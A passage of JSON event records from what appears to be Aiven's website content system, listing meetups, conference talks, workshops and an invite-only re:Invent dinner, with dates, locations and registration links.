Milan!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-22T19:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Milan","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/milano-open-source-data-infrastructure-meetup/events/300466513/","title":"RSVP"},"region":"EMEA","startDate":"2024-05-22T16:00:00.000Z","title":"Milan OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-04-18T09:52:43Z","_id":"11e509f6-413e-45f0-8299-78582fa7979c","_rev":"ajOdr4DX4POKI5xrBWD7Uq","_type":"event","_updatedAt":"2024-04-18T09:52:43Z","contentIsPage":false,"country":"US","description":[{"_key":"3ef287292792","_type":"block","children":[{"_key":"791f57694e0c","_type":"span","marks":[],"text":"Join for the Open Source Data Infrastructure Meetup in Los Angeles!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-12T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Los Angeles","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/los-angeles-open-source-data-infrastructure-meetup/events/300468887/","title":"RSVP"},"region":"AMER","startDate":"2024-06-12T15:00:00.000Z","title":"LA OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-04-18T09:55:38Z","_id":"df1100a3-8a74-4ae3-af80-84a3158ae6de","_rev":"K1w697WALr3R6LR2gnYlZj","_type":"event","_updatedAt":"2024-04-18T09:55:38Z","contentIsPage":false,"country":"US","description":[{"_key":"b2a8ab6d7759","_type":"block","children":[{"_key":"453cb7e4a106","_type":"span","marks":[],"text":"Join for the Open Source Data Infrastructure meetup in San Francisco!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-13T19:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"San Francisco","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/bay-area-open-source-data-infrastructure-meetup/events/300468905/","title":"RSVP"},"region":"AMER","startDate":"2024-06-13T16:00:00.000Z","title":"SF OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-05-01T15:11:33Z","_id":"10497cb7-7f37-4864-b034-b41da9d732be","_rev":"4CkiyUyzrvTW3s6mCrcwZQ","_type":"event","_updatedAt":"2024-05-01T15:11:33Z","contentIsPage":false,"description":[{"_key":"86eea2b43101","_type":"block","children":[{"_key":"ba6838a73df7","_type":"span","marks":[],"text":"POSETTE (formerly known as Citus Con) is a free and virtual developer event on PostgreSQL. Our Floor Drees will talk about working with neurodiversity, with Jimmy Angelakos, Database Architect at RapidRatings."}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-13T15:02:00.000Z","hideInEventPage":false,"linkTitle":"Register","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.citusdata.com/posette/2024/","title":"Attend"},"startDate":"2024-06-11T07:00:00.000Z","talks":[{"_key":"a57d7521fca2","_type":"talk","description":[{"_key":"f36b1ec460e9","_type":"block","children":[{"_key":"a64b3f3c78cb0","_type":"span","marks":[],"text":"Understanding how "},{"_key":"f4b74a71cb2f","_type":"span","marks":["em"],"text":"different"},{"_key":"791ffd33aa4b","_type":"span","marks":[],"text":" things affect "},{"_key":"2e065a57f617","_type":"span","marks":["em"],"text":"different"},{"_key":"4fb72b8e8225","_type":"span","marks":[],"text":" people "},{"_key":"b8c018d89d3c","_type":"span","marks":["em"],"text":"differently"},{"_key":"c21e1ef3cd6e","_type":"span","marks":[],"text":" will help make a more safe and more productive workplace, and we believe that the PostgreSQL community could become one in which its members can bring their true selves to (their open source) work."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"125c623b2b9c","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"title":"How to Work with Other People"}],"title":"POSETTE","type":"conference","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-05-01T15:51:07Z","_id":"313a2db1-d801-486f-b968-582022ca48b3","_rev":"4CkiyUyzrvTW3s6mCrk6vm","_type":"event","_updatedAt":"2024-05-01T15:51:07Z","contentIsPage":false,"country":"FI","description":[{"_key":"60ce713ead3a","_type":"block","children":[{"_key":"61bfcb1ebf820","_type":"span","marks":[],"text":"Join us on May 29 at the Wolt HQ, for a talk on Kafka Tiered Storage, by Jorge Quilcate, Senior Software Engineer at Aiven."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-29T19:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Helsinki","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/helsinki-open-source-data-infrastructure-meetup/events/300591413/","title":"RSVP"},"region":"EMEA","startDate":"2024-05-29T15:00:00.000Z","title":"Helsinki OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-05-01T15:47:10Z","_id":"209c80b3-1f39-4232-a8c2-1c133a8ec763","_rev":"4CkiyUyzrvTW3s6mCrjnMf","_type":"event","_updatedAt":"2024-05-01T15:47:10Z","contentIsPage":false,"country":"CA","description":[{"_key":"f66d1a6704f1","_type":"block","children":[{"_key":"c7c60d276746","_type":"span","marks":[],"text":"Join us May 22 for \"an evening with Aiven Security\", or: Jamie Arlen, our CISO, and Staff Security Analysis and Response Engineer Allan Stojanovic."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-22T18:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Toronto","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/toronto-open-source-data-infrastructure-meetup/events/299816968/","title":"RSVP"},"region":"AMER","startDate":"2024-05-22T15:00:00.000Z","title":"Toronto OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-05-02T09:35:01Z","_id":"fbcaa3c7-4673-40ba-8cf2-f8f5a2bc8ff3","_rev":"4CkiyUyzrvTW3s6mCtRrMr","_type":"event","_updatedAt":"2024-05-02T11:32:58Z","contentIsPage":false,"description":[{"_key":"cdfba16bd7ed","_type":"block","children":[{"_key":"d2479a5cce870","_type":"span","marks":[],"text":"Join to learn how to evolve your applications to scale with robust caching and AI methods while optimizing costs."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-21T15:45:00.000Z","hideInEventPage":false,"image":{"_type":"mainImage","alt":"Build to scale with Aiven webinar","asset":{"_ref":"image-508c9023cf8736407b83d142ee6c7abf5dd2f23f-1200x628-png","_type":"reference"}},"pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","internalLink":{"_ref":"c940dfb7-c917-432b-8362-ee3ed7a34f72","_type":"reference"},"title":"Join the webinar"},"startDate":"2024-05-21T15:00:00.000Z","title":"Build to scale with Aiven!","type":"webinar","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2023-08-25T08:46:45Z","_id":"29922bdd-b91e-456f-82ea-10c0e841dba4","_rev":"7xfFClh5q4hYckYFjdqzjc","_type":"event","_updatedAt":"2024-05-09T15:01:31Z","country":"CZ","description":[{"_key":"d92d30ea8dca","_type":"block","children":[{"_key":"8bf161677968","_type":"span","marks":[],"text":"Join Tibs for their talk \"Beyond spellchecking - what else can we check automatically\"."}],"markDefs":[],"style":"normal"}],"endDate":"2022-09-13T15:00:00.000Z","location":"Prague","region":"EMEA","startDate":"2022-09-11T07:00:00.000Z","talks":[{"_key":"95b7ca167168","_type":"talk","description":[{"_key":"93234539beb8","_type":"block","children":[{"_key":"5cd0ad305b610","_type":"span","marks":[],"text":"Writing documentation is hard, and spotting errors in that documentation is harder. Learn some of the techniques we can use in a docs-as-code approach to \"lint\" text automatically."}],"markDefs":[],"style":"normal"},{"_key":"936bde3935e2","_type":"block","children":[{"_key":"1fbc6f45c225","_type":"span","marks":[],"text":"- "},{"_key":"56792aaccc6f","_type":"span","marks":["5a99ef6226aa"],"text":"Watch the recording"}],"markDefs":[{"_key":"5a99ef6226aa","_type":"link","href":"https://www.youtube.com/watch?v=8NukYx5ggCM"}],"style":"normal"},{"_key":"3c31fba3a496","_type":"block","children":[{"_key":"e030f6991ac1","_type":"span","marks":[],"text":"- "},{"_key":"6f6aed616790","_type":"span","marks":["cbf968201a80"],"text":"Slides \u0026 notes"}],"markDefs":[{"_key":"cbf968201a80","_type":"link","href":"https://github.com/tibs/beyond-spellchecking-talk"}],"style":"normal"}],"speakers":[{"_key":"97bfd03e49d7","_ref":"39de7edc-e73b-4450-8643-685356de411c","_type":"reference"}],"title":"Beyond spellchecking - what else can we check automatically?"}],"title":"Write the Docs Prague 2022","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-11-06T12:20:50Z","_id":"0ff26746-d5b2-4eb1-bf07-dec6db6ee96e","_rev":"ezMiwuUkJkbYMWycA6s0z6","_type":"event","_updatedAt":"2024-09-06T09:49:10Z","contentIsPage":false,"country":"GB","description":[{"_key":"0cede71baee5","_type":"block","children":[{"_key":"ca03cd399c1f","_type":"span","marks":[],"text":"Join Olena Kutsenko and Tibs for their workshop \"Building a movie recommendation system with Tensorflow and PGVector\"."}],"markDefs":[],"style":"normal"}],"endDate":"2024-02-02T16:00:00.000Z","linkTitle":"Register","location":"London","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://ndclondon.com/","title":"Attend"},"region":"EMEA","startDate":"2024-01-29T08:00:00.000Z","talks":[{"_key":"2a18050161fd","_type":"talk","description":[{"_key":"c34d6c654c46","_type":"block","children":[{"_key":"aec5b72204450","_type":"span","marks":[],"text":"Come build a movie recommendation system from start to finish, utilizing NodeJS, TensorFlow, and PostgreSQL’s extension PGVector."}],"markDefs":[],"style":"normal"},{"_key":"30f97aaf0e21","_type":"block","children":[{"_key":"2fd567d3b577","_type":"span","marks":[],"text":"- Find the workshop materials on "},{"_key":"27bd4a414626","_type":"span","marks":["724ffd4a661a"],"text":"Aiven Labs"}],"markDefs":[{"_key":"724ffd4a661a","_type":"link","href":"https://github.com/Aiven-Labs/pgvector-tensorflow-movie-recommendations-workshop"}],"style":"normal"}],"speakers":[{"_key":"e5eacb72063b","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"},{"_key":"8132610df6e9","_ref":"39de7edc-e73b-4450-8643-685356de411c","_type":"reference"}],"title":"Building a movie recommendation system with Tensorflow and PGVector"}],"title":"NDC London 2024","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-08-14T09:20:44Z","_id":"e70971f4-e27f-446c-a354-80c3a97ad80f","_rev":"lMEtP1FuMP9IX2fXXbglUY","_type":"event","_updatedAt":"2024-05-09T15:00:49Z","country":"GB","description":[{"_key":"0335386c9026","_type":"block","children":[{"_key":"6b7940978f76","_type":"span","marks":[],"text":"Register for PyCon UK and join Tibs for their fun talk \""},{"_key":"34a79509e0d9","_type":"span","marks":["04c7973e1223"],"text":"How I used PostgreSQL® to find pictures of me at a party"},{"_key":"8c83af88dca8","_type":"span","marks":[],"text":"\". "}],"markDefs":[{"_key":"04c7973e1223","_type":"link","href":"https://pretalx.com/pyconuk-2023/talk/8N9DCQ/"}],"style":"normal"}],"endDate":"2023-09-25T15:00:00.000Z","location":"Wales","primaryCTA":{"_type":"link","externalUrl":"https://2023.pyconuk.org/","title":"Attend"},"region":"EMEA","startDate":"2023-09-22T07:00:00.000Z","talks":[{"_key":"c7a930963b57","_type":"talk","description":[{"_key":"af83e9cac0fb","_type":"block","children":[{"_key":"f58354d8e5790","_type":"span","marks":[],"text":"At an event, a photographer can take many photos. Which ones do you appear in? Find out how to search for faces using Python, OpenCV, OpenAI and, yes, PostgreSQL®."}],"markDefs":[],"style":"normal"},{"_key":"abbca02d7672","_type":"block","children":[{"_key":"22f372145dcd0","_type":"span","marks":[],"text":"Python ties it all together, and PostgreSQL's pgvector extension allows making SQL queries to find photos with my face."}],"markDefs":[],"style":"normal"},{"_key":"531b9e428641","_type":"block","children":[{"_key":"310144b1a5ef0","_type":"span","marks":[],"text":"- Find the slides and source code on "},{"_key":"5420579f3540","_type":"span","marks":["86f6fa38d4a2"],"text":"Aiven Labs"}],"markDefs":[{"_key":"86f6fa38d4a2","_type":"link","href":"https://github.com/Aiven-Labs/pgvector-find-faces-talk"}],"style":"normal"},{"_key":"58c3ca16940c","_type":"block","children":[{"_key":"fadb290d98f9","_type":"span","marks":[],"text":"- "},{"_key":"966bf78cf35d","_type":"span","marks":["ea487fdaf465"],"text":"Watch the video of the talk"}],"markDefs":[{"_key":"ea487fdaf465","_type":"link","href":"https://www.youtube.com/watch?v=_FqKxKVJGWQ"}],"style":"normal"}],"speakers":[{"_key":"de87584c509f","_ref":"39de7edc-e73b-4450-8643-685356de411c","_type":"reference"}],"title":"How I used PostgreSQL® to find pictures of me at a party"}],"title":"PyCon UK 2023","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-05-11T10:18:19Z","_id":"2388f4c2-4397-4a92-8860-cc7a8afc59b0","_rev":"Rv4ZbUzDYr3eOQfZp55KVV","_type":"event","_updatedAt":"2024-05-11T10:18:19Z","contentIsPage":false,"country":"US","description":[{"_key":"bfdc215a3e0c","_type":"block","children":[{"_key":"8f9822460f69","_type":"span","marks":[],"text":"Join Josh Reed, Senior Software Engineer in Release Engineering at Aiven, for his session \"Software Delivery from First Principles\"."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-28T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Montreal","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://devopsdays.org/events/2024-montreal/program/josh-reed/","title":"Register"},"region":"AMER","startDate":"2024-05-27T07:00:00.000Z","title":"Devopsdays Montreal","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-05-11T10:44:13Z","_id":"3f404f6e-8cf3-4552-848f-a109a2fb747f","_rev":"SncT4yrrEPvk5bBfZl6ZOS","_type":"event","_updatedAt":"2024-05-11T10:44:13Z","contentIsPage":false,"country":"DE","description":[{"_key":"1093731bed6f","_type":"block","children":[{"_key":"50996fced741","_type":"span","marks":[],"text":"Join us for a joint meetup with Weaviate, co-located with Berlin Buzzwords. Our own Oliver Huber, Senior Partner Solution Architect, will talk about reducing GenAI hallucination with RAG."}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-11T19:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Berlin","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://lu.ma/aibuzzwords","title":"RSVP"},"region":"EMEA","startDate":"2024-06-11T15:00:00.000Z","title":"AI Buzzwords","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-05-11T13:20:17Z","_id":"eb7153a2-94b5-4994-ac46-9325bd79a7ad","_rev":"V7hUJb5ScZMSQ02ZsHwy67","_type":"event","_updatedAt":"2024-06-14T09:51:15Z","contentIsPage":false,"country":"AU","description":[{"_key":"0c57a18580a2","_type":"block","children":[{"_key":"790bd62f3c7f0","_type":"span","marks":[],"text":"Join Leon Bezuidenhout, Senior Director Production Engineering at Aiven, and Justin Mclean, Community Manager at Datastrato and ASF Board Member, at the Open Source Data Infrastructure Meetup at the Microsoft Reactor!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-19T18:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Sydney","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/sydney-open-source-data-infrastructure-meetup/events/300777000/","title":"RSVP"},"region":"APAC","startDate":"2024-06-19T15:00:00.000Z","title":"Sydney OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-05-11T13:16:43Z","_id":"e2181999-53a5-4d91-a108-3b14ce81b70a","_rev":"qnoh2pCVRlOXH0AEWAd1Mv","_type":"event","_updatedAt":"2024-05-11T13:16:43Z","contentIsPage":false,"country":"US","description":[{"_key":"0486b59e5f79","_type":"block","children":[{"_key":"4c8353e64b0b","_type":"span","marks":[],"text":"Join Jay Miller at RenderATL, tech conference meets expo meets music festival!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-14T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Atlanta","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.renderatl.com/","title":"Join"},"region":"AMER","startDate":"2024-06-12T07:00:00.000Z","title":"RenderATL","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-05-11T13:38:10Z","_id":"a948b658-a3c3-44fe-a429-5f2172f78fed","_rev":"qnoh2pCVRlOXH0AEWAeVej","_type":"event","_updatedAt":"2024-05-11T13:38:10Z","contentIsPage":false,"country":"US","description":[{"_key":"7dc5942595b0","_type":"block","children":[{"_key":"01ff953065ae","_type":"span","marks":[],"text":"Join the New York City Open Source Data Infrastructure Meetup, July 16, and meet with peers in the data tech space!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-07-16T18:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"New York","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/new-york-open-source-data-infrastructure-meetup/events/300213439/","title":"RSVP"},"region":"AMER","startDate":"2024-07-16T15:00:00.000Z","title":"New York OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-05-17T07:57:49Z","_id":"51d6a37e-aa49-4cda-b88a-4491339fe714","_rev":"15B0z4WvHVfbLgXS7ungyL","_type":"event","_updatedAt":"2024-05-31T13:07:54Z","contentIsPage":false,"country":"NZ","description":[{"_key":"2c4c76876974","_type":"block","children":[{"_key":"e28f135217ac","_type":"span","marks":[],"text":"Join our first Auckland Open Source Data Infrastructure meetup with a talk by James Sewell, Sr Director of Developer Advocacy at Timescale, on \"How to stop worrying and just use Postgres for everything\"."}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-05T18:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Auckland","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/auckland-open-source-data-infrastructure-meetup/events/301032899/","title":"RSVP"},"region":"APAC","startDate":"2024-06-05T15:00:00.000Z","title":"Auckland OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-04-17T08:44:11Z","_id":"ff668e8a-6aab-43b5-aba8-c99e6d4a13c4","_rev":"5dKvdU2b7V4fiIIxYxVAdp","_type":"event","_updatedAt":"2024-05-20T08:51:16Z","contentIsPage":false,"description":[{"_key":"18d62e7e8b92","_type":"block","children":[{"_key":"4fae51ee58220","_type":"span","marks":[],"text":"Learn how to prepare your existing content for AI using LangChain and store it in OpenSearch®, so it can be used with an LLM in the Retrieval Augmented Generation (RAG) pattern."}],"markDefs":[],"style":"normal"},{"_key":"85179ac4e94b","_type":"block","children":[{"_key":"cae095471d780","_type":"span","marks":[],"text":"This workshop is 1,5 hours long."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-22T08:30:00.000Z","hideInEventPage":false,"image":{"_type":"mainImage","alt":"Preparing and Using Data for AI with LangChain and OpenSearch","asset":{"_ref":"image-2e22c128ad99e515d79ab1502b5d1bf73cf5d23d-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","internalLink":{"_ref":"69d06cac-e840-49f9-a254-7c406c63f1de","_type":"reference"},"title":"Register"},"startDate":"2024-05-22T07:00:00.000Z","title":"Preparing and Using Data for AI with LangChain and OpenSearch®","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-05-22T11:37:07Z","_id":"f92a4fe1-9974-46f6-87f4-bea3e2b9a267","_rev":"CK5Oetwu6foT4G1mbWNCZu","_type":"event","_updatedAt":"2024-05-22T11:37:07Z","contentIsPage":false,"country":"US","description":[{"_key":"78396f50c2a4","_type":"block","children":[{"_key":"4734be8fa514","_type":"span","marks":[],"text":"Join Josh Reed for his talk \"Software Delivery from First Principles\", at the North America edition of Community over Code (the former ApacheCon). "}],"markDefs":[],"style":"normal"}],"endDate":"2024-10-10T15:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Denver","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://communityovercode.org/","title":"Join"},"region":"AMER","startDate":"2024-10-07T07:00:00.000Z","title":"Community over Code NA","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-05-24T12:17:20Z","_id":"dc0a1458-4365-4502-b19a-9260aaa45c2c","_rev":"15B0z4WvHVfbLgXS7unrjU","_type":"event","_updatedAt":"2024-05-31T13:08:53Z","contentIsPage":false,"country":"US","description":[{"_key":"50f56bd6314a","_type":"block","children":[{"_key":"08577b75ac17","_type":"span","marks":[],"text":"Join our Open Source Data Infrastructure meetup June 11, a collaboration with the Chicago PostgreSQL Meetup Group. Talks are by Jerry Sievers, Principal Engineer at Enova International, and out very own Matty Stratton!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-11T18:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Chicago","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/chicago-open-source-data-infrastructure-meetup/events/300352258/","title":"RSVP"},"region":"AMER","startDate":"2024-06-11T15:30:00.000Z","title":"Chicago OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-01-29T11:08:17Z","_id":"4d19aa54-defb-400a-bd53-fe597dffe4d6","_rev":"Qw0TwPQaQ8aBM3BSUijC5t","_type":"event","_updatedAt":"2025-01-02T14:17:49Z","contentIsPage":false,"description":[{"_key":"dc824fbcca9a","_type":"block","children":[{"_key":"a6a2234fafa90","_type":"span","marks":[],"text":"Learn how to create a movie recommendation web app, using PostgreSQL® and pgvector. This workshop is 2 hours long with a short break in the middle."}],"markDefs":[],"style":"normal"}],"endDate":"2025-01-22T19:00:00.000Z","image":{"_type":"mainImage","alt":"Build a movie recommendation app with Tensorflow and PGVector","asset":{"_ref":"image-e8cf258fdbbff5803b0e7ff6577dc92c3282b241-1200x628-png","_type":"reference"}},"linkTitle":"Register","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/workshop/movie-recommender-with-tensorflow-pgvector","internalLink":{"_ref":"432056be-ad24-4120-8f16-49e3d764571a","_type":"reference"},"title":"Secure your seat"},"startDate":"2025-01-22T17:00:00.000Z","title":"Build a movie recommendation app with Tensorflow and PGVector","type":"workshop","virtualEvent":true} {"__i18n_lang":"en","_createdAt":"2024-10-28T13:58:50Z","_id":"fdf57703-8ef1-49ad-9519-bc07c6cab0ac","_rev":"sEwq5NBiPauorOxrhkGpFY","_type":"event","_updatedAt":"2024-11-19T18:06:06Z","contentIsPage":true,"country":"US","description":[{"_key":"61c26be66057","_type":"block","children":[{"_key":"e89c2ed0752f0","_type":"span","marks":[],"text":"Aiven invites you to unwind and enjoy a relaxing dinner with industry leaders. This exclusive event offers a perfect opportunity to reflect on the day’s insights, network with peers, and discuss the future of technology over a delightful meal. Join us for an engaging evening covering topics such as Generative AI, cloud infrastructure, and the latest industry trends."}],"markDefs":[],"style":"normal"}],"endDate":"2024-12-04T03:00:00.000Z","hideInEventPage":true,"image":{"_type":"mainImage","asset":{"_ref":"image-31b568c7b5bfe3371eee35903adaba317f9bc573-1000x500-jpg","_type":"reference"}},"linkTitle":"Details \u0026 Registration ","location":"Trattoria Reggiano, Grand Canale Shops, The Venetian, Las Vegas","pageType":{"_type":"eventPage","content":[{"_key":"vbmv178sn53kvm693thd82zowtw552ir","_type":"iframe","addSpaceBottom":true,"addSpaceTop":false,"align":"left","backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-3946835265ffe7ff561210c568f95acc51e4ce6f-1440x867-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"left top","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"headerPosition":"left","id":"registration","iframeHeight":560,"iframeSource":"https://go.aiven.io/l/890043/2024-10-28/vmdkl","iframeTitle":"Dinner RSVP","image":{"_type":"mainImage","asset":{"_ref":"image-2f580bda8a70a6fdfcd33ac848297c5cd7714412-680x502-jpg","_type":"reference"}},"isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"event","roundedCorners":"rounded-tr-bl","subtitle":[{"_key":"2ee3b7c56758","_type":"block","children":[{"_key":"b8e3b9e236d50","_type":"span","marks":[],"text":"Aiven invites you to unwind and enjoy a relaxing dinner with industry leaders during AWS re:Invent. This exclusive event offers a perfect opportunity to reflect on the day’s insights, network with peers, and discuss the future of technology over a delightful meal."}],"markDefs":[],"style":"normal"},{"_key":"a849fe16ca9a","_type":"block","children":[{"_key":"7a7ba1177ab50","_type":"span","marks":[],"text":"Register now to save your seat. Space is limited for this event."}],"markDefs":[],"style":"normal"}],"tagline":"Registration","title":"You're invited"},{"_key":"dd2abadee8f0","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"faq","items":[{"_key":"08c42815d8ac","_type":"accordionItem","panelText":[{"_key":"d77a25dc4095","_type":"block","children":[{"_key":"425d9c04868c","_type":"span","marks":[],"text":"Yes! There is no cost to attend, however, it is invite-only. If you RSVP and have not received an invite directly from Aiven, your RSVP may be canceled. You will receive a notification if this is the case. "}],"markDefs":[],"style":"normal"}],"title":"Is this a free event?"},{"_key":"e1d8b37844b0ffec92048af5b5cbdbe8","_type":"accordionItem","panelText":[{"_key":"d77a25dc4095","_type":"block","children":[{"_key":"425d9c04868c","_type":"span","marks":[],"text":"Leaders who oversee AI, Data Infrastructure, and Cloud Operations within their organizations. This dinner is an invite-only event."}],"markDefs":[],"style":"normal"}],"title":"Who else is being invited?"},{"_key":"a4d4a55f3e75","_type":"accordionItem","panelText":[{"_key":"f78544245d42","_type":"block","children":[{"_key":"8d2815d4fbd7","_type":"span","marks":[],"text":"If you wish to bring a guest, it must be someone from your organization or a peer in the AI and Cloud industry. Your guest must RSVP with our event team directly."}],"markDefs":[],"style":"normal"}],"title":"Can I bring a guest?"},{"_key":"00882f76517c","_type":"accordionItem","panelText":[{"_key":"42207565677b","_type":"block","children":[{"_key":"87239cb95ddf","_type":"span","marks":[],"text":"Please contact Laura Strong via ext-laura.strong@aiven.io."}],"markDefs":[],"style":"normal"}],"title":"I have additional questions; who should I contact?"}],"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"You've got questions? We've got answers!"},{"_key":"3e4bf94b8646","_type":"eventList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"9c96f456edf4","_ref":"8e72e208-3650-44c8-aa04-20e050a553da","_type":"reference"}],"limit":1,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Meet the Aiven Team at booth 1076","title":"Learn more about Aiven on AWS","topOverlap":false}],"eventDetails":[{"_key":"5fac286f9678","_type":"block","children":[{"_key":"610f16f70e400","_type":"span","marks":[],"text":"Aiven invites you to unwind and enjoy a relaxing dinner with industry leaders during AWS re:Invent. This exclusive event offers a perfect opportunity to reflect on the day’s insights, network with peers, and discuss the future of technology over a delightful meal. "}],"markDefs":[],"style":"normal"},{"_key":"82df4c3146d8","_type":"block","children":[{"_key":"4c4268b6fd6e","_type":"span","marks":[],"text":"Register now to save your seat. Space is limited for this event."}],"markDefs":[],"style":"normal"}],"eventTime":"7pm-9:30pm PT","eventTitle":"An Italian Escape in Vegas","heroWithCountdown":true,"iframeForm":{"iframeHeader":"Save your 